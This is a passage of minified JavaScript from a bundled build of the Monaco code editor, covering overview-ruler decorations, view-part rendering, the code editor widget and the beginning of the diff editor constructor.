this._shouldUpdateDecorations=!0,!0},t.prototype.onFlushed=function(e){return this._shouldUpdateCursorPosition=!0,this._shouldUpdateDecorations=!0,!0},t.prototype.onScrollChanged=function(t){return this._overviewRuler.setScrollHeight(t.scrollHeight,!1),e.prototype.onScrollChanged.call(this,t)||t.scrollHeightChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype.onThemeChanged=function(e){return this._updateColors(),this._shouldUpdateDecorations=!0,this._shouldUpdateCursorPosition=!0,!0},t.prototype.getDomNode=function(){return this._overviewRuler.getDomNode()},t.prototype._updateColors=function(){var e=this._context.theme.getColor(a.editorOverviewRulerBorder);this._borderColor=e?e.toString():null;var t=this._context.theme.getColor(a.editorCursorForeground);this._cursorColor=t?t.transparent(.7).toString():null,this._overviewRuler.setThemeType(this._context.theme.type,!1)},t.prototype._createZonesFromDecorations=function(){for(var e=this._context.model.getAllOverviewRulerDecorations(),t=[],n=0,i=e.length;n<i;n++){var o=e[n],r=o.source.options.overviewRuler;t.push(new s.OverviewRulerZone(o.range.startLineNumber,o.range.endLineNumber,r.position,0,this.resolveRulerColor(r.color),this.resolveRulerColor(r.darkColor),this.resolveRulerColor(r.hcColor)))}return t},t.prototype.resolveRulerColor=function(e){return n.isThemeColor(e)?(this._context.theme.getColor(e.id)||u.Color.transparent).toString():e},t.prototype._createZonesFromCursors=function(){for(var e=[],t=0,i=this._cursorPositions.length;t<i;t++){var o=this._cursorPositions[t];e.push(new s.OverviewRulerZone(o.lineNumber,o.lineNumber,n.OverviewRulerLane.Full,2,this._cursorColor,this._cursorColor,this._cursorColor))}return e},t.prototype.prepareRender=function(e){},t.prototype.render=function(e){if(this._shouldUpdateDecorations||this._shouldUpdateCursorPosition){this._shouldUpdateDecorations&&(this._shouldUpdateDecorations=!1,this._zonesFromDecorations=this._createZonesFromDecorations()),this._shouldUpdateCursorPosition&&(this._shouldUpdateCursorPosition=!1,this._hideCursor?this._zonesFromCursors=[]:this._zonesFromCursors=this._createZonesFromCursors());var t=[];t=(t=t.concat(this._zonesFromCursors)).concat(this._zonesFromDecorations),this._overviewRuler.setZones(t,!1)}if(this._overviewRuler.render(!1)&&this._renderBorder&&this._borderColor&&this._overviewRuler.getLanesCount()>0&&(this._zonesFromDecorations.length>0||this._zonesFromCursors.length>0)){var n=this._overviewRuler.getDomNode().getContext(\"2d\");n.beginPath(),n.lineWidth=1,n.strokeStyle=this._borderColor,n.moveTo(0,0),n.lineTo(0,this._overviewRuler.getPixelHeight()),n.stroke(),n.moveTo(0,0),n.lineTo(this._overviewRuler.getPixelWidth(),0),n.stroke()}},t.MIN_DECORATION_HEIGHT=6,t.MAX_DECORATION_HEIGHT=60,t}(i.ViewPart);t.DecorationsOverviewRuler=l}),define(d[508],h([1,0,82,190]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(e){function t(t,n,o,r){var s=e.call(this)||this;return s._context=t,s._overviewRuler=new i.OverviewRulerImpl(0,n,s._context.viewLayout.getScrollHeight(),s._context.configuration.editor.lineHeight,s._context.configuration.editor.pixelRatio,o,r,function(e){return s._context.viewLayout.getVerticalOffsetForLineNumber(e)}),s._context.addEventHandler(s),s}return f(t,e),t.prototype.dispose=function(){this._context.removeEventHandler(this),this._overviewRuler.dispose(),e.prototype.dispose.call(this)},t.prototype.onConfigurationChanged=function(e){return e.lineHeight&&this._overviewRuler.setLineHeight(this._context.configuration.editor.lineHeight,!0),e.pixelRatio&&this._overviewRuler.setPixelRatio(this._context.configuration.editor.pixelRatio,!0),!0},t.prototype.onFlushed=function(e){return!0},t.prototype.onScrollChanged=function(t){return this._overviewRuler.setScrollHeight(t.scrollHeight,!0),e.prototype.onScrollChanged.call(this,t)||t.scrollHeightChanged},t.prototype.onZonesChanged=function(e){return!0},t.prototype.getDomNode=function(){return this._overviewRuler.getDomNode()},t.prototype.setLayout=function(e){this._overviewRuler.setLayout(e,!0)},t.prototype.setZones=function(e){this._overviewRuler.setZones(e,!0)},t}(n.ViewEventHandler);t.OverviewRuler=o}),define(d[509],h([1,0,10,4,27,2,82,501,490,449,217,443,230,497,498,231,113,188,499,492,182,233,235,236,507,508,502,494,495,503,237,35,216,78,491,221,486,493,57,14]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v,_,y,C,b,w,S,E,L,x,N,M,T,k,I,D,O,R,P,A,F,W,B,V){\"use strict\";function H(e){try{return e()}catch(e){n.onUnexpectedError(e)}}function z(e,t){try{return e(t)}catch(e){n.onUnexpectedError(e)}}Object.defineProperty(t,\"__esModule\",{value:!0});var K=function(e){function t(t,n,i,o,r,s){var d=e.call(this)||this;d._isDisposed=!1,d._cursor=r,d._renderAnimationFrame=null,d.outgoingEvents=new P.ViewOutgoingEvents(o);var h=new l.ViewController(n,o,s,d.outgoingEvents,t);return d.eventDispatcher=new c.ViewEventDispatcher(function(e){return d._renderOnce(e)}),d.eventDispatcher.addEventHandler(d),d._context=new O.ViewContext(n,i.getTheme(),o,d.eventDispatcher),d._register(i.onThemeChange(function(e){d._context.theme=e,d.eventDispatcher.emit(new B.ViewThemeChangedEvent),d.render(!0,!1)})),d.viewParts=[],d._textAreaHandler=new a.TextAreaHandler(d._context,h,d.createTextAreaHandlerHelper()),d.viewParts.push(d._textAreaHandler),d.createViewParts(),d._setLayout(),d.pointerHandler=new u.PointerHandler(d._context,h,d.createPointerHandlerHelper()),d._register(o.addEventListener(function(e){d.eventDispatcher.emitMany(e)})),d._register(d._cursor.addEventListener(function(e){d.eventDispatcher.emitMany(e)})),d}return f(t,e),t.prototype.createViewParts=function(){this.linesContent=o.createFastDomNode(document.createElement(\"div\")),this.linesContent.setClassName(\"lines-content monaco-editor-background\"),this.linesContent.setPosition(\"absolute\"),this.domNode=o.createFastDomNode(document.createElement(\"div\")),this.domNode.setClassName(this.getEditorClassName()),this.overflowGuardContainer=o.createFastDomNode(document.createElement(\"div\")),D.PartFingerprints.write(this.overflowGuardContainer,3),this.overflowGuardContainer.setClassName(\"overflow-guard\"),this._scrollbar=new F.EditorScrollbar(this._context,this.linesContent,this.domNode,this.overflowGuardContainer),this.viewParts.push(this._scrollbar),this.viewLines=new C.ViewLines(this._context,this.linesContent),this.viewZones=new I.ViewZones(this._context),this.viewParts.push(this.viewZones);var e=new L.DecorationsOverviewRuler(this._context);this.viewParts.push(e);var t=new M.ScrollDecorationViewPart(this._context);this.viewParts.push(t);var n=new d.ContentViewOverlays(this._context);this.viewParts.push(n),n.addDynamicOverlay(new p.CurrentLineHighlightOverlay(this._context)),n.addDynamicOverlay(new T.SelectionsOverlay(this._context)),n.addDynamicOverlay(new m.DecorationsOverlay(this._context)),n.addDynamicOverlay(new y.IndentGuidesOverlay(this._context));var i=new d.MarginViewOverlays(this._context);this.viewParts.push(i),i.addDynamicOverlay(new g.CurrentLineMarginHighlightOverlay(this._context)),i.addDynamicOverlay(new v.GlyphMarginOverlay(this._context)),i.addDynamicOverlay(new S.MarginViewLineDecorationsOverlay(this._context)),i.addDynamicOverlay(new w.LinesDecorationsOverlay(this._context)),i.addDynamicOverlay(new _.LineNumbersOverlay(this._context));var r=new b.Margin(this._context);r.getDomNode().appendChild(this.viewZones.marginDomNode),r.getDomNode().appendChild(i.getDomNode()),this.viewParts.push(r),this.contentWidgets=new h.ViewContentWidgets(this._context,this.domNode),this.viewParts.push(this.contentWidgets),this.viewCursors=new k.ViewCursors(this._context),this.viewParts.push(this.viewCursors),this.overlayWidgets=new E.ViewOverlayWidgets(this._context),this.viewParts.push(this.overlayWidgets);var s=new N.Rulers(this._context);this.viewParts.push(s);var a=new W.Minimap(this._context);if(this.viewParts.push(a),e){var u=this._scrollbar.getOverviewRulerLayoutInfo();u.parent.insertBefore(e.getDomNode(),u.insertBefore)}this.linesContent.appendChild(n.getDomNode()),this.linesContent.appendChild(s.domNode),this.linesContent.appendChild(this.viewZones.domNode),this.linesContent.appendChild(this.viewLines.getDomNode()),this.linesContent.appendChild(this.contentWidgets.domNode),this.linesContent.appendChild(this.viewCursors.getDomNode()),this.overflowGuardContainer.appendChild(r.getDomNode()),this.overflowGuardContainer.appendChild(this._scrollbar.getDomNode()),this.overflowGuardContainer.appendChild(t.getDomNode()),this.overflowGuardContainer.appendChild(this._textAreaHandler.textArea),this.overflowGuardContainer.appendChild(this._textAreaHandler.textAreaCover),this.overflowGuardContainer.appendChild(this.overlayWidgets.getDomNode()),this.overflowGuardContainer.appendChild(a.getDomNode()),this.domNode.appendChild(this.overflowGuardContainer),this.domNode.appendChild(this.contentWidgets.overflowingContentWidgetsDomNode)},t.prototype._flushAccumulatedAndRenderNow=function(){this._renderNow()},t.prototype.createPointerHandlerHelper=function(){var e=this;return{viewDomNode:this.domNode.domNode,linesContentDomNode:this.linesContent.domNode,focusTextArea:function(){e.focus()},getLastViewCursorsRenderData:function(){return e.viewCursors.getLastRenderData()||[]},shouldSuppressMouseDownOnViewZone:function(t){return e.viewZones.shouldSuppressMouseDownOnViewZone(t)},shouldSuppressMouseDownOnWidget:function(t){return e.contentWidgets.shouldSuppressMouseDownOnWidget(t)},getPositionFromDOMInfo:function(t,n){return e._flushAccumulatedAndRenderNow(),e.viewLines.getPositionFromDOMInfo(t,n)},visibleRangeForPosition2:function(t,n){e._flushAccumulatedAndRenderNow();var i=e.viewLines.visibleRangesForRange2(new r.Range(t,n,t,n));return i?i[0]:null},getLineWidth:function(t){return e._flushAccumulatedAndRenderNow(),e.viewLines.getLineWidth(t)}}},t.prototype.createTextAreaHandlerHelper=function(){var e=this;return{visibleRangeForPositionRelativeToEditor:function(t,n){e._flushAccumulatedAndRenderNow();var i=e.viewLines.visibleRangesForRange2(new r.Range(t,n,t,n));return i?i[0]:null}}},t.prototype._setLayout=function(){var e=this._context.configuration.editor.layoutInfo;this.domNode.setWidth(e.width),this.domNode.setHeight(e.height),this.overflowGuardContainer.setWidth(e.width),this.overflowGuardContainer.setHeight(e.height),this.linesContent.setWidth(1e6),this.linesContent.setHeight(1e6)},t.prototype.getEditorClassName=function(){return this._context.configuration.editor.editorClassName+\" \"+V.getThemeTypeSelector(this._context.theme.type)},t.prototype.onConfigurationChanged=function(e){return e.editorClassName&&this.domNode.setClassName(this.getEditorClassName()),e.layoutInfo&&this._setLayout(),!1},t.prototype.onFocusChanged=function(e){return this.domNode.toggleClassName(\"focused\",e.isFocused),e.isFocused?this.outgoingEvents.emitViewFocusGained():this.outgoingEvents.emitViewFocusLost(),!1},t.prototype.onScrollChanged=function(e){return this.outgoingEvents.emitScrollChanged(e),!1},t.prototype.onThemeChanged=function(e){return this.domNode.setClassName(this.getEditorClassName()),!1},t.prototype.dispose=function(){this._isDisposed=!0,null!==this._renderAnimationFrame&&(this._renderAnimationFrame.dispose(),this._renderAnimationFrame=null),this.eventDispatcher.removeEventHandler(this),this.outgoingEvents.dispose(),this.pointerHandler.dispose(),this.viewLines.dispose();for(var t=0,n=this.viewParts.length;t<n;t++)this.viewParts[t].dispose();this.viewParts=[],e.prototype.dispose.call(this)},t.prototype._renderOnce=function(e){var t=H(e);return this._scheduleRender(),t},t.prototype._scheduleRender=function(){null===this._renderAnimationFrame&&(this._renderAnimationFrame=i.runAtThisOrScheduleAtNextAnimationFrame(this._onRenderScheduled.bind(this),100))},t.prototype._onRenderScheduled=function(){this._renderAnimationFrame=null,this._flushAccumulatedAndRenderNow()},t.prototype._renderNow=function(){var e=this;H(function(){return e._actualRender()})},t.prototype._getViewPartsToRender=function(){for(var e=[],t=0,n=this.viewParts.length;t<n;t++){var i=this.viewParts[t];i.shouldRender()&&e.push(i)}return e},t.prototype._actualRender=function(){if(i.isInDOM(this.domNode.domNode)){var e=this._getViewPartsToRender();if(this.viewLines.shouldRender()||0!==e.length){var t=this._context.viewLayout.getLinesViewportData();this._context.model.setViewport(t.startLineNumber,t.endLineNumber,t.centeredLineNumber);var n=new A.ViewportData(this._cursor.getViewSelections(),t,this._context.viewLayout.getWhitespaceViewportData(),this._context.model);this.viewLines.shouldRender()&&(this.viewLines.renderText(n),this.viewLines.onDidRender(),e=this._getViewPartsToRender());for(var o=new R.RenderingContext(this._context.viewLayout,n,this.viewLines),r=0,s=e.length;r<s;r++)(a=e[r]).prepareRender(o);for(var r=0,s=e.length;r<s;r++){var a=e[r];a.render(o),a.onDidRender()}}}},t.prototype.delegateVerticalScrollbarMouseDown=function(e){this._scrollbar.delegateVerticalScrollbarMouseDown(e)},t.prototype.getOffsetForColumn=function(e,t){var n=this._context.model.validateModelPosition({lineNumber:e,column:t}),i=this._context.model.coordinatesConverter.convertModelPositionToViewPosition(n);this._flushAccumulatedAndRenderNow();var o=this.viewLines.visibleRangesForRange2(new r.Range(i.lineNumber,i.column,i.lineNumber,i.column));return o?o[0].left:-1},t.prototype.getTargetAtClientPoint=function(e,t){return this.pointerHandler.getTargetAtClientPoint(e,t)},t.prototype.getInternalEventBus=function(){return this.outgoingEvents},t.prototype.createOverviewRuler=function(e,t,n){return new x.OverviewRuler(this._context,e,t,n)},t.prototype.change=function(e){var t=this,n=!1;return this._renderOnce(function(){var i={addZone:function(e){return n=!0,t.viewZones.addZone(e)},removeZone:function(e){e&&(n=t.viewZones.removeZone(e)||n)},layoutZone:function(e){e&&(n=t.viewZones.layoutZone(e)||n)}};z(e,i),i.addZone=null,i.removeZone=null,n&&(t._context.viewLayout.onHeightMaybeChanged(),t._context.privateViewEventBus.emit(new B.ViewZonesChangedEvent))}),n},t.prototype.render=function(e,t){if(t){this.viewLines.forceShouldRender();for(var n=0,i=this.viewParts.length;n<i;n++)this.viewParts[n].forceShouldRender()}e?this._flushAccumulatedAndRenderNow():this._scheduleRender()},t.prototype.setAriaActiveDescendant=function(e){this._textAreaHandler.setAriaActiveDescendant(e)},t.prototype.focus=function(){this._textAreaHandler.focusTextArea()},t.prototype.isFocused=function(){return this._textAreaHandler.isFocused()},t.prototype.addContentWidget=function(e){this.contentWidgets.addWidget(e.widget),this.layoutContentWidget(e),this._scheduleRender()},t.prototype.layoutContentWidget=function(e){var t=e.position?e.position.position:null,n=e.position?e.position.preference:null;this.contentWidgets.setWidgetPosition(e.widget,t,n),this._scheduleRender()},t.prototype.removeContentWidget=function(e){this.contentWidgets.removeWidget(e.widget),this._scheduleRender()},t.prototype.addOverlayWidget=function(e){this.overlayWidgets.addWidget(e.widget),this.layoutOverlayWidget(e),this._scheduleRender()},t.prototype.layoutOverlayWidget=function(e){var t=e.position?e.position.preference:null;this.overlayWidgets.setWidgetPosition(e.widget,t)&&this._scheduleRender()},t.prototype.removeOverlayWidget=function(e){this.overlayWidgets.removeWidget(e.widget),this._scheduleRender()},t}(s.ViewEventHandler);t.View=K}),define(d[191],h([1,0,10,4,16,31,19,447,2,42,66,509,3,11,149,14,37,310,312]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_){\"use strict\";function C(e){return S+encodeURIComponent(e.toString())+E}Object.defineProperty(t,\"__esModule\",{value:!0});var b=function(e){function t(t,i,o,r,s,a,u){var l=e.call(this,t,i,o,a)||this;l._onMouseUp=l._register(new p.Emitter),l.onMouseUp=l._onMouseUp.event,l._onMouseDown=l._register(new p.Emitter),l.onMouseDown=l._onMouseDown.event,l._onMouseDrag=l._register(new p.Emitter),l.onMouseDrag=l._onMouseDrag.event,l._onMouseDrop=l._register(new p.Emitter),l.onMouseDrop=l._onMouseDrop.event,l._onContextMenu=l._register(new p.Emitter),l.onContextMenu=l._onContextMenu.event,l._onMouseMove=l._register(new p.Emitter),l.onMouseMove=l._onMouseMove.event,l._onMouseLeave=l._register(new p.Emitter),l.onMouseLeave=l._onMouseLeave.event,l._onKeyUp=l._register(new p.Emitter),l.onKeyUp=l._onKeyUp.event,l._onKeyDown=l._register(new p.Emitter),l.onKeyDown=l._onKeyDown.event,l._onDidScrollChange=l._register(new p.Emitter),l.onDidScrollChange=l._onDidScrollChange.event,l._onDidChangeViewZones=l._register(new p.Emitter),l.onDidChangeViewZones=l._onDidChangeViewZones.event,l._codeEditorService=r,l._commandService=s,l._themeService=u,l._focusTracker=new w(t),l._focusTracker.onChange(function(){l._focusTracker.hasFocus()?l._onDidFocusEditor.fire():l._onDidBlurEditor.fire()}),l.contentWidgets={},l.overlayWidgets={};for(var c=l._getContributions(),d=0,h=c.length;d<h;d++){var f=c[d];try{var m=l._instantiationService.createInstance(f,l);l._contributions[m.getId()]=m}catch(e){n.onUnexpectedError(e)}}return l._getActions().forEach(function(e){var t=new g.InternalEditorAction(e.id,e.label,e.alias,e.precondition,function(){return l._instantiationService.invokeFunction(function(t){return e.runEditorCommand(t,l,null)})},l._contextKeyService);l._actions[t.id]=t}),l._codeEditorService.addCodeEditor(l),l}return f(t,e),t.prototype._createConfiguration=function(e){return new c.Configuration(e,this.domElement)},t.prototype.dispose=function(){this._codeEditorService.removeCodeEditor(this),this.contentWidgets={},this.overlayWidgets={},this._focusTracker.dispose(),e.prototype.dispose.call(this)},t.prototype.createOverviewRuler=function(e,t,n){return this._view.createOverviewRuler(e,t,n)},t.prototype.getDomNode=function(){return this.hasView?this._view.domNode.domNode:null},t.prototype.getCompletelyVisibleLinesRangeInViewport=function(){if(!this.hasView)return null;var e=this.viewModel.getCompletelyVisibleViewRange();return this.viewModel.coordinatesConverter.convertViewRangeToModelRange(e)},t.prototype.delegateVerticalScrollbarMouseDown=function(e){this.hasView&&this._view.delegateVerticalScrollbarMouseDown(e)},t.prototype.layout=function(e){this._configuration.observeReferenceElement(e),this.render()},t.prototype.focus=function(){this.hasView&&this._view.focus()},t.prototype.isFocused=function(){return this.hasView&&this._view.isFocused()},t.prototype.hasWidgetFocus=function(){return this._focusTracker&&this._focusTracker.hasFocus()},t.prototype.addContentWidget=function(e){var t={widget:e,position:e.getPosition()};this.contentWidgets.hasOwnProperty(e.getId())&&console.warn(\"Overwriting a content widget with the same id.\"),this.contentWidgets[e.getId()]=t,this.hasView&&this._view.addContentWidget(t)},t.prototype.layoutContentWidget=function(e){var t=e.getId();if(this.contentWidgets.hasOwnProperty(t)){var n=this.contentWidgets[t];n.position=e.getPosition(),this.hasView&&this._view.layoutContentWidget(n)}},t.prototype.removeContentWidget=function(e){var t=e.getId();if(this.contentWidgets.hasOwnProperty(t)){var n=this.contentWidgets[t];delete this.contentWidgets[t],this.hasView&&this._view.removeContentWidget(n)}},t.prototype.addOverlayWidget=function(e){var t={widget:e,position:e.getPosition()};this.overlayWidgets.hasOwnProperty(e.getId())&&console.warn(\"Overwriting an overlay widget with the same id.\"),this.overlayWidgets[e.getId()]=t,this.hasView&&this._view.addOverlayWidget(t)},t.prototype.layoutOverlayWidget=function(e){var t=e.getId();if(this.overlayWidgets.hasOwnProperty(t)){var n=this.overlayWidgets[t];n.position=e.getPosition(),this.hasView&&this._view.layoutOverlayWidget(n)}},t.prototype.removeOverlayWidget=function(e){var t=e.getId();if(this.overlayWidgets.hasOwnProperty(t)){var n=this.overlayWidgets[t];delete this.overlayWidgets[t],this.hasView&&this._view.removeOverlayWidget(n)}},t.prototype.changeViewZones=function(e){this.hasView&&this._view.change(e)&&this._onDidChangeViewZones.fire()},t.prototype.getWhitespaces=function(){return this.hasView?this.viewModel.viewLayout.getWhitespaces():[]},t.prototype._getVerticalOffsetForPosition=function(e,t){var n=this.model.validatePosition({lineNumber:e,column:t}),i=this.viewModel.coordinatesConverter.convertModelPositionToViewPosition(n);return this.viewModel.viewLayout.getVerticalOffsetForLineNumber(i.lineNumber)},t.prototype.getTopForLineNumber=function(e){return this.hasView?this._getVerticalOffsetForPosition(e,1):-1},t.prototype.getTopForPosition=function(e,t){return this.hasView?this._getVerticalOffsetForPosition(e,t):-1},t.prototype.getTargetAtClientPoint=function(e,t){return this.hasView?this._view.getTargetAtClientPoint(e,t):null},t.prototype.getScrolledVisiblePosition=function(e){if(!this.hasView)return null;var t=this.model.validatePosition(e),n=this._configuration.editor.layoutInfo;return{top:this._getVerticalOffsetForPosition(t.lineNumber,t.column)-this.getScrollTop(),left:this._view.getOffsetForColumn(t.lineNumber,t.column)+n.glyphMarginWidth+n.lineNumbersWidth+n.decorationsWidth-this.getScrollLeft(),height:this._configuration.editor.lineHeight}},t.prototype.getOffsetForColumn=function(e,t){return this.hasView?this._view.getOffsetForColumn(e,t):-1},t.prototype.render=function(){this.hasView&&this._view.render(!0,!1)},t.prototype.setHiddenAreas=function(e){this.viewModel&&this.viewModel.setHiddenAreas(e.map(function(e){return u.Range.lift(e)}))},t.prototype.setAriaActiveDescendant=function(e){this.hasView&&this._view.setAriaActiveDescendant(e)},t.prototype.applyFontInfo=function(e){c.Configuration.applyFontInfoSlow(e,this._configuration.editor.fontInfo)},t.prototype._attachModel=function(t){if(this._view=null,e.prototype._attachModel.call(this,t),this._view){this.domElement.appendChild(this._view.domNode.domNode);for(var n=Object.keys(this.contentWidgets),i=0,o=n.length;i<o;i++){r=n[i];this._view.addContentWidget(this.contentWidgets[r])}for(var i=0,o=(n=Object.keys(this.overlayWidgets)).length;i<o;i++){var r=n[i];this._view.addOverlayWidget(this.overlayWidgets[r])}this._view.render(!1,!0),this.hasView=!0}},t.prototype._createView=function(){var e=this;this._view=new d.View(this._commandService,this._configuration,this._themeService,this.viewModel,this.cursor,function(t,n){e.cursor&&t.runCoreEditorCommand(e.cursor,n)});var t=this._view.getInternalEventBus();this.listenersToRemove.push(t.onDidGainFocus(function(){e._onDidFocusEditorText.fire(),e._onDidFocusEditor.fire()})),this.listenersToRemove.push(t.onDidScroll(function(t){e._onDidScrollChange.fire(t)})),this.listenersToRemove.push(t.onDidLoseFocus(function(){e._onDidBlurEditorText.fire()})),this.listenersToRemove.push(t.onContextMenu(function(t){e._onContextMenu.fire(t)})),this.listenersToRemove.push(t.onMouseDown(function(t){e._onMouseDown.fire(t)})),this.listenersToRemove.push(t.onMouseUp(function(t){e._onMouseUp.fire(t)})),this.listenersToRemove.push(t.onMouseDrag(function(t){e._onMouseDrag.fire(t)})),this.listenersToRemove.push(t.onMouseDrop(function(t){e._onMouseDrop.fire(t)})),this.listenersToRemove.push(t.onKeyUp(function(t){e._onKeyUp.fire(t)})),this.listenersToRemove.push(t.onMouseMove(function(t){e._onMouseMove.fire(t)})),this.listenersToRemove.push(t.onMouseLeave(function(t){e._onMouseLeave.fire(t)})),this.listenersToRemove.push(t.onKeyDown(function(t){e._onKeyDown.fire(t)}))},t.prototype._detachModel=function(){var t=null;this._view&&(this._view.dispose(),t=this._view.domNode.domNode,this._view=null);var n=e.prototype._detachModel.call(this);return t&&this.domElement.removeChild(t),n},t.prototype._registerDecorationType=function(e,t,n){this._codeEditorService.registerDecorationType(e,t,n)},t.prototype._removeDecorationType=function(e){this._codeEditorService.removeDecorationType(e)},t.prototype._resolveDecorationOptions=function(e,t){return this._codeEditorService.resolveDecorationOptions(e,t)},t=v([y(2,o.IInstantiationService),y(3,l.ICodeEditorService),y(4,r.ICommandService),y(5,s.IContextKeyService),y(6,m.IThemeService)],t)}(a.CommonCodeEditor);t.CodeEditorWidget=b;var w=function(e){function t(t){var n=e.call(this)||this;return n._onChange=n._register(new p.Emitter),n.onChange=n._onChange.event,n._hasFocus=!1,n._domFocusTracker=n._register(i.trackFocus(t)),n._domFocusTracker.addFocusListener(function(){n._hasFocus=!0,n._onChange.fire(void 0)}),n._domFocusTracker.addBlurListener(function(){n._hasFocus=!1,n._onChange.fire(void 0)}),n}return f(t,e),t.prototype.hasFocus=function(){return this._hasFocus},t}(h.Disposable),S=encodeURIComponent(\"<svg xmlns='http://www.w3.org/2000/svg' height='3' width='6'><g fill='\"),E=encodeURIComponent(\"'><polygon points='5.5,0 2.5,3 1.1,3 4.1,0'/><polygon points='4,0 6,2 6,0.6 5.4,0'/><polygon points='0,2 1,3 2.4,3 0,0.6'/></g></svg>\");m.registerThemingParticipant(function(e,t){var n=e.getColor(_.editorErrorBorder);n&&t.addRule(\".monaco-editor .redsquiggly { border-bottom: 4px double \"+n+\"; }\");var i=e.getColor(_.editorErrorForeground);i&&t.addRule('.monaco-editor .redsquiggly { background: url(\"data:image/svg+xml,'+C(i)+'\") repeat-x bottom left; }');var o=e.getColor(_.editorWarningBorder);o&&t.addRule(\".monaco-editor .greensquiggly { border-bottom: 4px double \"+o+\"; }\");var r=e.getColor(_.editorWarningForeground);r&&t.addRule('.monaco-editor .greensquiggly { background: url(\"data:image/svg+xml;utf8,'+C(r)+'\") repeat-x bottom left; }')})}),define(d[141],h([1,0,16,31,19,42,191,13,30,14]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var c=function(e){function t(t,n,i,o,r,s,a){return e.call(this,t,n,i,o,r,s,a)||this}return f(t,e),t.prototype._getContributions=function(){return[].concat(u.EditorBrowserRegistry.getEditorContributions()).concat(a.CommonEditorRegistry.getEditorContributions())},t.prototype._getActions=function(){return a.CommonEditorRegistry.getEditorActions()},t=v([y(2,n.IInstantiationService),y(3,r.ICodeEditorService),y(4,i.ICommandService),y(5,o.IContextKeyService),y(6,l.IThemeService)],t)}(s.CodeEditorWidget);t.CodeEditor=c}),define(d[193],h([1,0,302,18,3,26,4,36,27,99,16,19,42,2,20,61,138,106,141,90,66,86,84,11,49,14,23,140,34,504,50,308]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b,w,S,E,L,x,N,M,T,k,I,D,O){\"use strict\";function R(e,t,n,i,o){return{range:new p.Range(e,t,n,i),options:o}}function P(e){return e.modifiedEndLineNumber>0}function A(e){return e.originalEndLineNumber>0}function F(){var e=document.createElement(\"div\");return e.className=\"diagonal-fill\",e}Object.defineProperty(t,\"__esModule\",{value:!0});var W=function(){function e(){this._zones=[],this._zonesMap={},this._decorations=[]}return e.prototype.getForeignViewZones=function(e){var t=this;return e.filter(function(e){return!t._zonesMap[String(e.id)]})},e.prototype.clean=function(e){var t=this;this._zones.length>0&&e.changeViewZones(function(e){for(var n=0,i=t._zones.length;n<i;n++)e.removeZone(t._zones[n])}),this._zones=[],this._zonesMap={},this._decorations.length>0&&e.changeDecorations(function(e){e.deltaDecorations(t._decorations,[])}),this._decorations=[]},e.prototype.apply=function(e,t,n){var i=this;e.changeViewZones(function(e){for(var t=0,o=i._zones.length;t<o;t++)e.removeZone(i._zones[t]);i._zones=[],i._zonesMap={};for(var t=0,r=n.zones.length;t<r;t++){n.zones[t].suppressMouseDown=!0;var s=e.addZone(n.zones[t]);i._zones.push(s),i._zonesMap[String(s)]=!0}}),this._decorations=e.deltaDecorations(this._decorations,n.decorations),t&&t.setZones(n.overviewZones)},e}(),B=0,V=function(e){function t(n,o,r,a,l,c,h,p){var f=e.call(this)||this;f._onDidDispose=f._register(new x.Emitter),f.onDidDispose=f._onDidDispose.event,f._onDidUpdateDiff=f._register(new x.Emitter),f.onDidUpdateDiff=f._onDidUpdateDiff.event,f._lastOriginalWarning=null,f._lastModifiedWarning=null,f._editorWorkerService=r,f._codeEditorService=c,f._contextKeyService=a.createScoped(n),f._contextKeyService.createKey(\"isInDiffEditor\",!0),f._themeService=h,f._messageService=p,f.id=++B,f._domElement=n,o=o||{},f._renderSideBySide=!0,void 0!==o.renderSideBySide&&(f._renderSideBySide=o.renderSideBySide),f._ignoreTrimWhitespace=!0,void 0!==o.ignoreTrimWhitespace&&(f._ignoreTrimWhitespace=o.ignoreTrimWhitespace),f._renderIndicators=!0,void 0!==o.renderIndicators&&(f._renderIndicators=o.renderIndicators),f._originalIsEditable=!1,void 0!==o.originalEditable&&(f._originalIsEditable=Boolean(o.originalEditable)),f._updateDecorationsRunner=f._register(new i.RunOnceScheduler(function(){return f._updateDecorations()},0)),f._containerDomElement=document.createElement(\"div\"),f._containerDomElement.className=t._getClassName(f._themeService.getTheme(),f._renderSideBySide),f._containerDomElement.style.position=\"relative\",f._containerDomElement.style.height=\"100%\",f._domElement.appendChild(f._containerDomElement),f._overviewViewportDomElement=u.createFastDomNode(document.createElement(\"div\")),f._overviewViewportDomElement.setClassName(\"diffViewport\"),f._overviewViewportDomElement.setPosition(\"absolute\"),f._overviewDomElement=document.createElement(\"div\"),f._overviewDomElement.className=\"diffOverview\",f._overviewDomElement.style.position=\"absolute\",f._overviewDomElement.appendChild(f._overviewViewportDomElement.domNode),f._register(s.addStandardDisposableListener(f._overviewDomElement,\"mousedown\",function(e){f.modifiedEditor.delegateVerticalScrollbarMouseDown(e)})),f._containerDomElement.appendChild(f._overviewDomElement),f._createLeftHandSide(),f._createRightHandSide(),f._beginUpdateDecorationsTimeout=-1,f._currentlyChangingViewZones=!1,f._diffComputationToken=0,f._originalEditorState=new W,f._modifiedEditorState=new W,f._isVisible=!0,f._isHandlingScrollEvent=!1,f._width=0,f._height=0,f._reviewHeight=0,f._lineChanges=null;var g=new L.ServiceCollection;g.set(d.IContextKeyService,f._contextKeyService);var m=l.createChild(g);return f._createLeftHandSideEditor(o,m),f._createRightHandSideEditor(o,m),f._reviewPane=new D.DiffReview(f),f._containerDomElement.appendChild(f._reviewPane.domNode.domNode),f._containerDomElement.appendChild(f._reviewPane.shadow.domNode),f._containerDomElement.appendChild(f._reviewPane.actionBarContainer.domNode),o.automaticLayout&&(f._measureDomElementToken=window.setInterval(function(){return f._measureDomElement(!1)},100)),f._enableSplitViewResizing=!0,void 0!==o.enableSplitViewResizing&&(f._enableSplitViewResizing=o.enableSplitViewResizing),f._renderSideBySide?f._setStrategy(new j(f._createDataSource(),f._enableSplitViewResizing)):f._setStrategy(new G(f._createDataSource(),f._enableSplitViewResizing)),f._codeEditorService.addDiffEditor(f),f._register(h.onThemeChange(function(e){f._strategy&&f._strategy.applyColors(e)&&f._updateDecorationsRunner.schedule(),f._containerDomElement.className=t._getClassName(f._themeService.getTheme(),f._renderSideBySide)})),f}return 